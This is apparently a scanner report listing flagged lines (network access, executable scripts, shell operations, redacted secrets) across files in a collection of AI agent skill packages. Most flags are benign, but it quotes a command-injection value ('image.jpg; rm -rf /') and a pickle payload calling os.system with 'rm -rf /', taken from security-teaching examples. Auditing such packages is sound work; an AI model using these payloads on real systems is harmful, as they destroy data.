    - **Report patterns:** See [report_patterns.md](references/report_patterns.md) for comprehensive templates and examples - **GitHub Issues:** https://docs.github.com/en/issues
  • Network accessline 491
    - **GitHub Issues:** https://docs.github.com/en/issues

skills/java-api-consistency-validator/scripts/validate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/legacy-code-summarizer/references/architecture_patterns.md

  • Network accessline 183
    // Service A calls Service B via HTTP const response = await fetch('http://payment-service:8080/process', {
  • Network accessline 184
    const response = await fetch('http://payment-service:8080/process', {

skills/legacy-code-summarizer/references/code_quality_checklist.md

  • Network accessline 121
    # Show only complex functions radon cc src/ -nc -a
  • Network accessline 122
    radon cc src/ -nc -a
  • Access to secretsline 434
    [Credential-related source omitted]

skills/legacy-code-summarizer/references/dependency_analysis.md

  • Dangerous shell operationline 453
    sudo apt-get install graphviz
  • Network accessline 490
    <html> <head>     <script src="https://cdnjs.cloudflare.com/ajax/libs/cytoscape/3.21.0/cytoscape.min.js"></script>
  • Network accessline 491
    <head>     <script src="https://cdnjs.cloudflare.com/ajax/libs/cytoscape/3.21.0/cytoscape.min.js"></script> </head>
  • Network accessline 492
    <script src="https://cdnjs.cloudflare.com/ajax/libs/cytoscape/3.21.0/cytoscape.min.js"></script>

skills/linkedin/SKILL.md

  • Network accessline 22
    1. Go to [app.linkedapi.io](https://app.linkedapi.io) and sign up or log in
  • Network accessline 97
    # Basic profile linkedin person fetch https://www.linkedin.com/in/username --json -q
  • Network accessline 98
    linkedin person fetch https://www.linkedin.com/in/username --json -q
  • Network accessline 100
    # With experience and education linkedin person fetch https://www.linkedin.com/in/username --experience --education --json -q
  • Network accessline 101
    linkedin person fetch https://www.linkedin.com/in/username --experience --education --json -q
  • Network accessline 103
    # With last 5 posts linkedin person fetch https://www.linkedin.com/in/username --posts --posts-limit 5 --json -q
  • Network accessline 104
    linkedin person fetch https://www.linkedin.com/in/username --posts --posts-limit 5 --json -q
  • Network accessline 161
    # Basic company info linkedin company fetch https://www.linkedin.com/company/name --json -q
  • Network accessline 162
    linkedin company fetch https://www.linkedin.com/company/name --json -q
  • Network accessline 164
    # With employees filtered by position linkedin company fetch https://www.linkedin.com/company/name --employees --employees-position "Engineer" --json -q
  • Network accessline 165
    linkedin company fetch https://www.linkedin.com/company/name --employees --employees-position "Engineer" --json -q
  • Network accessline 167
    # With decision makers and posts linkedin company fetch https://www.linkedin.com/company/name --dms --posts --posts-limit 10 --json -q
  • Network accessline 168
    linkedin company fetch https://www.linkedin.com/company/name --dms --posts --posts-limit 10 --json -q
  • Network accessline 198
    linkedin message send https://www.linkedin.com/in/username 'Hey, loved your latest post!' --json -q
  • Network accessline 210
    linkedin message get https://www.linkedin.com/in/username --json -q
  • Network accessline 211
    linkedin message get https://www.linkedin.com/in/username --since 2024-01-15T10:30:00Z --json -q
  • Network accessline 291
    linkedin post fetch https://www.linkedin.com/posts/username_activity-123 --json -q
  • Network accessline 293
    # With comments sorted by most recent, including replies linkedin post fetch https://www.linkedin.com/posts/username_activity-123 \
  • Network accessline 294
    linkedin post fetch https://www.linkedin.com/posts/username_activity-123 \
  • Network accessline 314
    # With a document linkedin post create 'Our Q4 report' \   --attachments "https://example.com/report.pdf:document:Q4 Report" --json -q
  • Network accessline 315
    linkedin post create 'Our Q4 report'    --attachments "https://example.com/report.pdf:document:Q4 Report" --json -q
  • Network accessline 316
    --attachments "https://example.com/report.pdf:document:Q4 Report" --json -q
  • Network accessline 318
    # Post as a company linkedin post create 'Company announcement' \   --company-url https://www.linkedin.com/company/name --json -q
  • Network accessline 319
    linkedin post create 'Company announcement'    --company-url https://www.linkedin.com/company/name --json -q
  • Network accessline 320
    --company-url https://www.linkedin.com/company/name --json -q
  • Network accessline 332
    linkedin post react https://www.linkedin.com/posts/username_activity-123 --type like --json -q
  • Network accessline 334
    # React on behalf of a company linkedin post react https://www.linkedin.com/posts/username_activity-123 --type celebrate \
  • Network accessline 335
    linkedin post react https://www.linkedin.com/posts/username_activity-123 --type celebrate \
  • Network accessline 336
    --company-url https://www.linkedin.com/company/name --json -q
  • Network accessline 348
    linkedin post comment https://www.linkedin.com/posts/username_activity-123 'Great insights!' --json -q
  • Network accessline 350
    # Comment on behalf of a company linkedin post comment https://www.linkedin.com/posts/username_activity-123 'Well said!' \
  • Network accessline 351
    linkedin post comment https://www.linkedin.com/posts/username_activity-123 'Well said!' \
  • Network accessline 352
    --company-url https://www.linkedin.com/company/name --json -q
  • Network accessline 428
    linkedin navigator company fetch https://www.linkedin.com/sales/company/97ural --employees --dms --json -q
  • Network accessline 429
    linkedin navigator company fetch https://www.linkedin.com/sales/company/97ural \
  • Network accessline 463
    linkedin navigator message send https://www.linkedin.com/in/username \
  • Network accessline 495
    See [Building Workflows](https://linkedapi.io/docs/building-workflows/) for the workflow JSON schema.
  • Network accessline 512
    - **Single quotes for text arguments.** Use single quotes around message text, post text, and comments to avoid shell interpretation issues with special characters. - **Action limits.** Per-account limits are configurable on the platform. A
  • Network accessline 513
    - **Action limits.** Per-account limits are configurable on the platform. A `limitExceeded` error means the limit was reached. - **URL normalization.** All LinkedIn URLs in responses are normalized to `https://www.linkedin.com/...` format w
  • Network accessline 514
    - **URL normalization.** All LinkedIn URLs in responses are normalized to `https://www.linkedin.com/...` format without trailing slashes.

skills/lsp-refactoring/SKILL.md

  • Network accessline 117
    **Inspired by:** [oh-my-opencode](https://github.com/code-yeongyu/oh-my-opencode) /refactor command

skills/markdown-document-structurer/references/markdown-best-practices.md

  • Network accessline 103
    [Link text](https://example.com)
  • Network accessline 110
    [ref]: https://example.com

skills/markdown-document-structurer/scripts/analyze_structure.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/metamorphic-test-generator/assets/example-program.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/metamorphic-test-generator/scripts/generate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/mocking-test-generator/references/python_patterns.md

  • Network accessline 18
    assert result == expected_value     mock_get.assert_called_once_with('https://api.example.com/endpoint')
  • Network accessline 19
    mock_get.assert_called_once_with('https://api.example.com/endpoint')
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 56
    [Credential-related source omitted]

skills/modular-code-enforcement/SKILL.md

  • Network accessline 114
    **Inspired by:** [oh-my-opencode](https://github.com/code-yeongyu/oh-my-opencode) modular-code-enforcement rule

skills/module-component-generator/references/python-patterns.md

  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]
  • Access to secretsline 357
    [Credential-related source omitted]

skills/module-level-code-translator/assets/test_template_go.go

  • Executable scriptline 1
    Executable file

skills/module-level-code-translator/assets/test_template_javascript.js

  • Executable scriptline 1
    Executable file

skills/module-level-code-translator/assets/test_template_python.py

  • Executable scriptline 1
    Executable file

skills/module-level-code-translator/references/stdlib_mappings.md

  • Network accessline 25
    ### Python → JavaScript - `requests.get(url)` → `fetch(url)` or `axios.get(url)`
  • Network accessline 26
    - `requests.get(url)` → `fetch(url)` or `axios.get(url)`
  • Network accessline 27
    - `requests.post(url, json=data)` → `fetch(url, {method: 'POST', body: JSON.stringify(data)})`
  • Network accessline 29
    ### Python → Java - `requests.get(url)` → `HttpClient.newHttpClient().send(request, BodyHandlers.ofString())`
  • Network accessline 30
    - `requests.get(url)` → `HttpClient.newHttpClient().send(request, BodyHandlers.ofString())`
  • Network accessline 32
    ### Python → Go - `requests.get(url)` → `http.Get(url)`
  • Network accessline 33
    - `requests.get(url)` → `http.Get(url)`
  • Network accessline 34
    - `requests.post(url, json=data)` → `http.Post(url, "application/json", bytes.NewBuffer(jsonData))`

skills/nl-to-constraints/assets/specification_schema.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",

skills/playwright-automation/SKILL.md

  • Network accessline 34
    // Navigate await page.goto("https://example.com");
  • Network accessline 35
    await page.goto("https://example.com");
  • Network accessline 125
    **Inspired by:** [oh-my-opencode](https://github.com/code-yeongyu/oh-my-opencode) dev-browser skill

skills/proof-failure-explainer/SKILL.md

  • Network accessline 406
    - **Failure patterns:** See [failure_patterns.md](references/failure_patterns.md) for comprehensive catalog - **Isabelle documentation:** https://isabelle.in.tum.de/documentation.html
  • Network accessline 407
    - **Isabelle documentation:** https://isabelle.in.tum.de/documentation.html
  • Network accessline 408
    - **Coq documentation:** https://coq.inria.fr/documentation
  • Network accessline 409
    - **Isabelle tutorial:** https://isabelle.in.tum.de/dist/Isabelle/doc/tutorial.pdf
  • Network accessline 410
    - **Software Foundations:** https://softwarefoundations.cis.upenn.edu/

skills/proof-refactoring-assistant/SKILL.md

  • Network accessline 479
    - **Refactoring patterns:** See [refactoring_patterns.md](references/refactoring_patterns.md) for comprehensive catalog - **Isabelle documentation:** https://isabelle.in.tum.de/documentation.html
  • Network accessline 480
    - **Isabelle documentation:** https://isabelle.in.tum.de/documentation.html
  • Network accessline 481
    - **Coq documentation:** https://coq.inria.fr/documentation

skills/pseudocode-to-python-code/assets/template.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/python-api-consistency-validator/scripts/validate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/python-regression-test-generator/SKILL.md

  • Network accessline 356
    def fetch_user_data(user_id):     response = requests.get(f'https://api.example.com/users/{user_id}')
  • Network accessline 357
    response = requests.get(f'https://api.example.com/users/{user_id}')
  • Network accessline 372
    async def fetch_user_data(user_id, include_posts=False):     async with aiohttp.ClientSession() as session:
  • Network accessline 373
    async with aiohttp.ClientSession() as session:
  • Network accessline 374
    url = f'https://api.example.com/users/{user_id}'

skills/python-regression-test-generator/references/test_generation_patterns.md

  • Network accessline 374
    result = fetch_data('https://api.example.com/data')
  • Network accessline 376
    assert result['data'] == 'value'         mock_get.assert_called_once_with('https://api.example.com/data')
  • Network accessline 377
    mock_get.assert_called_once_with('https://api.example.com/data')
  • Network accessline 753
    def fetch_data(url):     response = requests.get(url)
  • Network accessline 754
    response = requests.get(url)
  • Network accessline 761
    with patch('requests.get') as mock_get:         mock_get.return_value.json.return_value = {'data': 'value'}         result = fetch_data('https://api.example.com')
  • Network accessline 762
    mock_get.return_value.json.return_value = {'data': 'value'}         result = fetch_data('https://api.example.com')         assert result['data'] == 'value'
  • Network accessline 763
    result = fetch_data('https://api.example.com')
  • Network accessline 769
    async def fetch_data(url):     async with aiohttp.ClientSession() as session:
  • Network accessline 770
    async with aiohttp.ClientSession() as session:
  • Network accessline 785
    result = await fetch_data('https://api.example.com')

skills/python-repo-quickstart/SKILL.md

  • Access to secretsline 230
    [Credential-related source omitted]
  • Access to secretsline 231
    [Credential-related source omitted]

skills/python-repo-quickstart/scripts/analyze_repo.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 87
    [Credential-related source omitted]

skills/python-test-updater/SKILL.md

  • Network accessline 372
    # Old def fetch():
  • Network accessline 373
    def fetch():
  • Network accessline 376
    # New async def fetch():
  • Network accessline 377
    async def fetch():
  • Network accessline 383
    # Old def test_fetch():     result = fetch()
  • Network accessline 384
    def test_fetch():     result = fetch()     assert result is not None
  • Network accessline 385
    result = fetch()
  • Network accessline 389
    @pytest.mark.asyncio async def test_fetch():     result = await fetch()
  • Network accessline 390
    async def test_fetch():     result = await fetch()     assert result is not None
  • Network accessline 391
    result = await fetch()

skills/python-test-updater/references/test-update-patterns.md

  • Network accessline 335
    def fetch_data(url):     return requests.get(url).json()
  • Network accessline 336
    return requests.get(url).json()
  • Network accessline 341
    async def fetch_data(url):     async with aiohttp.ClientSession() as session:
  • Network accessline 342
    async with aiohttp.ClientSession() as session:
  • Network accessline 349
    def test_fetch_data():     data = fetch_data("http://api.example.com/data")
  • Network accessline 350
    data = fetch_data("http://api.example.com/data")
  • Network accessline 356
    @pytest.mark.asyncio async def test_fetch_data():     data = await fetch_data("http://api.example.com/data")
  • Network accessline 357
    async def test_fetch_data():     data = await fetch_data("http://api.example.com/data")     assert "result" in data
  • Network accessline 358
    data = await fetch_data("http://api.example.com/data")

skills/python-test-updater/scripts/analyze_code_diff.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/python-to-dafny-translator/SKILL.md

  • Network accessline 517
    - **Translation patterns:** See [translation_patterns.md](references/translation_patterns.md) for comprehensive pattern catalog - **Dafny documentation:** https://dafny.org/
  • Network accessline 518
    - **Dafny documentation:** https://dafny.org/
  • Network accessline 519
    - **Dafny tutorial:** https://dafny.org/dafny/OnlineTutorial/guide
  • Network accessline 520
    - **Dafny reference:** https://dafny.org/latest/DafnyRef/DafnyRef

skills/python-to-lean4-translator/references/advanced_features.md

  • Dangerous shell operationline 107
    #eval (· + 1) <$> some 5  -- some 6
  • Dangerous shell operationline 108
    #eval (· + 1) <$> [1, 2, 3]  -- [2, 3, 4]
  • Dangerous shell operationline 252
    #eval (nats.take 10)  -- [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

skills/readme-generator/SKILL.md

  • Network accessline 42
    ![License](https://img.shields.io/badge/license-MIT-blue.svg)
  • Network accessline 43
    ![Version](https://img.shields.io/badge/version-1.0.0-green.svg)
  • Network accessline 44
    ![Language](https://img.shields.io/badge/python-3.9+-blue.svg)
  • Dangerous shell operationline 84
    - Install on Ubuntu: `sudo apt-get install [packages]`
  • Network accessline 105
    \`\`\`bash git clone https://github.com/username/project-name.git
  • Network accessline 106
    git clone https://github.com/username/project-name.git
  • Access to secretsline 129
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]
  • Access to secretsline 134
    [Credential-related source omitted]
  • Network accessline 184
    The application will be available at `http://localhost:3000`
  • Network accessline 188
    **Create a new resource**: \`\`\`bash curl -X POST http://localhost:3000/api/resources \
  • Network accessline 189
    \`\`\`bash curl -X POST http://localhost:3000/api/resources \   -H "Content-Type: application/json" \
  • Network accessline 190
    curl -X POST http://localhost:3000/api/resources \
  • Network accessline 195
    **List all resources**: \`\`\`bash curl http://localhost:3000/api/resources
  • Network accessline 196
    \`\`\`bash curl http://localhost:3000/api/resources \`\`\`
  • Network accessline 197
    curl http://localhost:3000/api/resources
  • Access to secretsline 211
    [Credential-related source omitted]
  • Access to secretsline 223
    [Credential-related source omitted]
  • Access to secretsline 324
    [Credential-related source omitted]
  • Access to secretsline 371
    [Credential-related source omitted]

skills/reference-searcher/SKILL.md

  • Network accessline 39
    # Search GitHub for code patterns via grep.app or GitHub search # e.g., https://grep.app/search?q=getServerSession%28&filter[lang][0]=TypeScript
  • Network accessline 40
    # e.g., https://grep.app/search?q=getServerSession%28&filter[lang][0]=TypeScript
  • Network accessline 119
    **Inspired by:** [oh-my-opencode](https://github.com/code-yeongyu/oh-my-opencode) Librarian agent

skills/regression-consistency-checker/scripts/compare_results.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/release-change-analyzer/SKILL.md

  • Network accessline 97
    **Inspired by:** [oh-my-opencode](https://github.com/code-yeongyu/oh-my-opencode) get-unpublished-changes command

skills/release-notes-writer/SKILL.md

  • Access to secretsline 269
    [Credential-related source omitted]
  • Access to secretsline 272
    [Credential-related source omitted]

skills/replay-oriented-instrumentation/SKILL.md

  • Network accessline 157
    // Replay mode nock('http://api.example.com')
  • Network accessline 158
    nock('http://api.example.com')

skills/replay-oriented-instrumentation/references/replay-tools.md

  • Network accessline 29
    // Replay mode nock('http://api.example.com')
  • Network accessline 30
    nock('http://api.example.com')

skills/reproduction-trace-instrumenter/scripts/python_instrumenter.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/reproduction-trace-instrumenter/scripts/replay_generator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/requirement-comparison-reporter/scripts/analyze_code_impact.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/requirement-enhancer/references/examples.md

  • Access to secretsline 104
    [Credential-related source omitted]

skills/rollback-strategy-advisor/SKILL.md

  • Network accessline 41
    # Check system health curl http://localhost:8080/health  # Health endpoint
  • Network accessline 42
    curl http://localhost:8080/health  # Health endpoint
  • Network accessline 114
    # 5. Validate rollback (see Step 4) curl http://localhost:8080/health
  • Network accessline 115
    curl http://localhost:8080/health
  • Network accessline 158
    # 4. Validate configuration loaded correctly docker exec <service-name> cat /app/config/app.conf curl http://localhost:8080/health
  • Network accessline 160
    curl http://localhost:8080/health
  • Access to secretsline 167
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Dangerous shell operationline 217
    docker network rm <new-network>
  • Network accessline 303
    # 5. Validate curl http://localhost:8080/health
  • Network accessline 304
    curl http://localhost:8080/health
  • Network accessline 330
    # 2. Application health curl http://localhost:8080/health
  • Network accessline 331
    curl http://localhost:8080/health
  • Network accessline 332
    curl -I http://localhost:8080  # HTTP status code
  • Network accessline 348
    # Test critical user flows curl -X POST http://localhost:8080/api/login -d '{"user":"test","pass":"test"}'
  • Network accessline 349
    curl -X POST http://localhost:8080/api/login -d '{"user":"test","pass":"test"}'
  • Network accessline 350
    curl http://localhost:8080/api/users/1
  • Network accessline 456
    app:     healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:8080/health"]
  • Network accessline 457
    healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:8080/health"]       interval: 30s
  • Network accessline 458
    test: ["CMD", "curl", "-f", "http://localhost:8080/health"]

skills/rollback-strategy-advisor/references/platform_guides.md

  • Dangerous shell operationline 32
    docker rm myapp-container
  • Network accessline 61
    # 2. Validate old version works curl http://localhost:8081/health
  • Network accessline 62
    curl http://localhost:8081/health
  • Dangerous shell operationline 69
    docker rm myapp-container
  • Dangerous shell operationline 93
    docker rm myapp-container
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Dangerous shell operationline 266
    docker run --rm    -v myapp-data:/target    -v $(pwd)/backups:/backup    alpine    sh -c "rm -rf /target/* && tar xzf /backup/myapp-data-20260215_120000.tar.gz -C /target"
  • Dangerous shell operationline 270
    sh -c "rm -rf /target/* && tar xzf /backup/myapp-data-20260215_120000.tar.gz -C /target"
  • Dangerous shell operationline 295
    docker volume rm myapp-data
  • Dangerous shell operationline 354
    docker network rm myapp-network
  • Network accessline 480
    image: myapp:v1.2.3     healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:8080/health"]
  • Network accessline 481
    healthcheck:       test: ["CMD", "curl", "-f", "http://localhost:8080/health"]       interval: 10s
  • Network accessline 482
    test: ["CMD", "curl", "-f", "http://localhost:8080/health"]
  • Network accessline 547
    SERVICE_NAME=${1:-app} PREVIOUS_VERSION=${2} HEALTH_ENDPOINT=${3:-http://localhost:8080/health}
  • Network accessline 549
    HEALTH_ENDPOINT=${3:-http://localhost:8080/health}
  • Network accessline 563
    # Health check for i in {1..30}; do   if curl -sf "$HEALTH_ENDPOINT" > /dev/null; then
  • Network accessline 564
    for i in {1..30}; do   if curl -sf "$HEALTH_ENDPOINT" > /dev/null; then     echo "✓ Service healthy"
  • Network accessline 565
    if curl -sf "$HEALTH_ENDPOINT" > /dev/null; then
  • Access to secretsline 592
    [Credential-related source omitted]

skills/rtl-equivalence-checker/scripts/check_equivalence.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/rtl-equivalence-checker/scripts/counterexample_generator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/rtl-equivalence-checker/scripts/equivalence_analyzer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/rtl-equivalence-checker/scripts/rtl_parser.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/security-patch-advisor/references/examples.md

  • Dangerous shell operationline 65
    **Attack Example:** `image.jpg; rm -rf /` would delete files
  • Access to secretsline 717
    [Credential-related source omitted]
  • Access to secretsline 724
    [Credential-related source omitted]

skills/security-patch-advisor/references/remediation_strategies.md

  • Dangerous shell operationline 87
    - `system()`, `exec()`, `popen()` with user input
  • Dangerous shell operationline 152
    - Using `pickle`, `marshal`, `eval()` on untrusted input

skills/security-sensitive-path-instrumenter/scripts/generate_instrumentation.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/semantic-equivalence-verifier/references/language_patterns.md

  • Network accessline 277
    // Artifact A function fetchData(url) {     return fetch(url).then(r => r.json());
  • Network accessline 278
    function fetchData(url) {     return fetch(url).then(r => r.json()); }
  • Network accessline 279
    return fetch(url).then(r => r.json());
  • Network accessline 282
    // Artifact B async function fetchData(url) {     const response = await fetch(url);
  • Network accessline 283
    async function fetchData(url) {     const response = await fetch(url);     return response.json();
  • Network accessline 284
    const response = await fetch(url);

skills/semantic-szz-analyzer/references/language_support.md

  • Dangerous shell operationline 301
    - `eval()` and `exec()`: Cannot be fully analyzed statically
  • Network accessline 414
    - Tree-sitter documentation: https://tree-sitter.github.io/tree-sitter/
  • Network accessline 415
    - Python AST documentation: https://docs.python.org/3/library/ast.html
  • Network accessline 416
    - Javalang: https://github.com/c2nes/javalang
  • Network accessline 417
    - Esprima: https://esprima.org/

skills/semantic-szz-analyzer/scripts/batch_analyze.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/semantic-szz-analyzer/scripts/semantic_analyzer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/semantic-szz-analyzer/scripts/semantic_szz.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/session-handoff/SKILL.md

  • Network accessline 104
    **Inspired by:** [oh-my-opencode](https://github.com/code-yeongyu/oh-my-opencode) /handoff command

skills/skill-creator/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

skills/skill-creator/scripts/init_skill.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/skill-creator/scripts/package_skill.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/skill-creator/scripts/quick_validate.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/smart-mutation-operator-generator/scripts/generate_operators.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/smv-model-extractor/scripts/cfg_analyzer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/smv-model-extractor/scripts/extract_model.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/smv-model-extractor/scripts/language_parser.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/smv-model-extractor/scripts/smv_generator.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/specification-to-temporal-logic-generator/scripts/convert_format.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/specification-to-temporal-logic-generator/scripts/validate_formula.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/spring-mvc-to-boot-migrator/SKILL.md

  • Network accessline 247
    curl http://localhost:8080/users

skills/spring-mvc-to-boot-migrator/references/migration_guide.md

  • Network accessline 432
    public void addCorsMappings(CorsRegistry registry) {         registry.addMapping("/**")             .allowedOrigins("http://localhost:3000");
  • Network accessline 433
    registry.addMapping("/**")             .allowedOrigins("http://localhost:3000");     }
  • Network accessline 434
    .allowedOrigins("http://localhost:3000");
  • Network accessline 441
    spring.web.cors.allowed-origins=http://localhost:3000
  • Network accessline 461
    curl http://localhost:8080/users
  • Network accessline 471
    curl http://localhost:8080/actuator/health

skills/spring-mvc-to-boot-migrator/scripts/migrate.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 55
    tree = ET.parse(pom_file)                     root = tree.getroot()                     ns = {'m': 'http://maven.apache.org/POM/4.0.0'}
  • Network accessline 57
    ns = {'m': 'http://maven.apache.org/POM/4.0.0'}

skills/spring-mvc-to-boot-migrator/scripts/migrate_annotations.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/spring-mvc-to-boot-migrator/scripts/migrate_build.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 36
    tree = ET.parse(pom_file)             root = tree.getroot()             ns = {'m': 'http://maven.apache.org/POM/4.0.0'}
  • Network accessline 38
    ns = {'m': 'http://maven.apache.org/POM/4.0.0'}
  • Network accessline 41
    ET.register_namespace('', 'http://maven.apache.org/POM/4.0.0')

skills/spring-mvc-to-boot-migrator/scripts/migrate_config.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/spring-mvc-to-boot-migrator/scripts/migrate_tests.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/state-snapshot-instrumenter/assets/example_python.py

  • Executable scriptline 1
    Executable file

skills/state-snapshot-instrumenter/assets/snapshot_schema.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-07/schema#",

skills/state-snapshot-instrumenter/scripts/analyze_snapshots.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/state-snapshot-instrumenter/scripts/instrument_c.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/state-snapshot-instrumenter/scripts/instrument_java.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/state-snapshot-instrumenter/scripts/instrument_python.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/state-snapshot-instrumenter/scripts/snapshot_runtime.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 22
    [Credential-related source omitted]

skills/static-reasoning-verifier/scripts/verify_java.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/static-reasoning-verifier/scripts/verify_python.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/static-vulnerability-detector/SKILL.md

  • Access to secretsline 196
    [Credential-related source omitted]
  • Network accessline 232
    # VULNERABLE response = requests.get(user_url)  # Can access internal services
  • Network accessline 233
    response = requests.get(user_url)  # Can access internal services

skills/static-vulnerability-detector/references/cwe_patterns.md

  • Access to secretsline 178
    [Credential-related source omitted]
  • Access to secretsline 186
    [Credential-related source omitted]
  • Access to secretsline 187
    [Credential-related source omitted]
  • Network accessline 289
    # Vulnerable: Unencrypted transmission requests.get(f"http://api.example.com/user?ssn={ssn}")  # VULNERABLE
  • Network accessline 290
    requests.get(f"http://api.example.com/user?ssn={ssn}")  # VULNERABLE
  • Network accessline 297
    # Safe: Use HTTPS requests.get(f"https://api.example.com/user?ssn={ssn}")
  • Network accessline 298
    requests.get(f"https://api.example.com/user?ssn={ssn}")
  • Network accessline 394
    # Vulnerable: Unvalidated URL url = request.args.get('url') response = requests.get(url)  # VULNERABLE: can access internal services
  • Network accessline 396
    response = requests.get(url)  # VULNERABLE: can access internal services
  • Network accessline 403
    if parsed.netloc not in ALLOWED_DOMAINS:     raise ValueError("Domain not allowed") response = requests.get(url)
  • Network accessline 405
    response = requests.get(url)

skills/static-vulnerability-detector/references/examples.md

  • Network accessline 46
    **References**: - OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 47
    - OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 48
    - CWE-89: https://cwe.mitre.org/data/definitions/89.html
  • Network accessline 103
    **References**: - CWE-119: https://cwe.mitre.org/data/definitions/119.html
  • Network accessline 104
    - CWE-119: https://cwe.mitre.org/data/definitions/119.html
  • Access to secretsline 150
    [Credential-related source omitted]
  • Access to secretsline 151
    [Credential-related source omitted]
  • Access to secretsline 152
    [Credential-related source omitted]
  • Access to secretsline 153
    [Credential-related source omitted]
  • Network accessline 166
    **References**: - CWE-798: https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 167
    - CWE-798: https://cwe.mitre.org/data/definitions/798.html
  • Dangerous shell operationline 208
    return (os.system, ('rm -rf /',))
  • Network accessline 246
    **References**: - CWE-502: https://cwe.mitre.org/data/definitions/502.html
  • Network accessline 247
    - CWE-502: https://cwe.mitre.org/data/definitions/502.html
  • Network accessline 324
    **References**: - CWE-306: https://cwe.mitre.org/data/definitions/306.html
  • Network accessline 325
    - CWE-306: https://cwe.mitre.org/data/definitions/306.html
  • Network accessline 388
    **References**: - CWE-327: https://cwe.mitre.org/data/definitions/327.html
  • Network accessline 389
    - CWE-327: https://cwe.mitre.org/data/definitions/327.html

skills/strategic-planner/SKILL.md

  • Network accessline 103
    **Inspired by:** [oh-my-opencode](https://github.com/code-yeongyu/oh-my-opencode) Prometheus planning agent

skills/symbolic-execution-assistant/references/tool_integration.md

  • Network accessline 24
    # Install dependencies sudo apt-get install build-essential curl libcap-dev git cmake \
  • Dangerous shell operationline 25
    sudo apt-get install build-essential curl libcap-dev git cmake \
  • Network accessline 25
    sudo apt-get install build-essential curl libcap-dev git cmake \
  • Dangerous shell operationline 30
    sudo apt-get install llvm-13 llvm-13-dev llvm-13-tools
  • Network accessline 32
    # Build KLEE git clone https://github.com/klee/klee.git
  • Network accessline 33
    git clone https://github.com/klee/klee.git
  • Dangerous shell operationline 39
    sudo make install
  • Network accessline 292
    git clone https://github.com/javapathfinder/jpf-core.git
  • Network accessline 300
    git clone https://github.com/SymbolicPathFinder/jpf-symbc.git

skills/szz-bug-identifier/scripts/szz_analyzer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/taint-instrumentation-assistant/SKILL.md

  • Access to secretsline 291
    [Credential-related source omitted]

skills/taint-instrumentation-assistant/scripts/example.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/technical-debt-analyzer/SKILL.md

  • Network accessline 614
    // Before (deprecated request) const request = require('request'); request('https://api.example.com', (error, response, body) => {
  • Network accessline 615
    const request = require('request'); request('https://api.example.com', (error, response, body) => {   console.log(body);
  • Network accessline 616
    request('https://api.example.com', (error, response, body) => {
  • Network accessline 620
    // After (axios) const axios = require('axios'); const response = await axios.get('https://api.example.com');
  • Network accessline 621
    const axios = require('axios'); const response = await axios.get('https://api.example.com'); console.log(response.data);
  • Network accessline 622
    const response = await axios.get('https://api.example.com');

skills/template-code-generator/assets/react-app/package.json

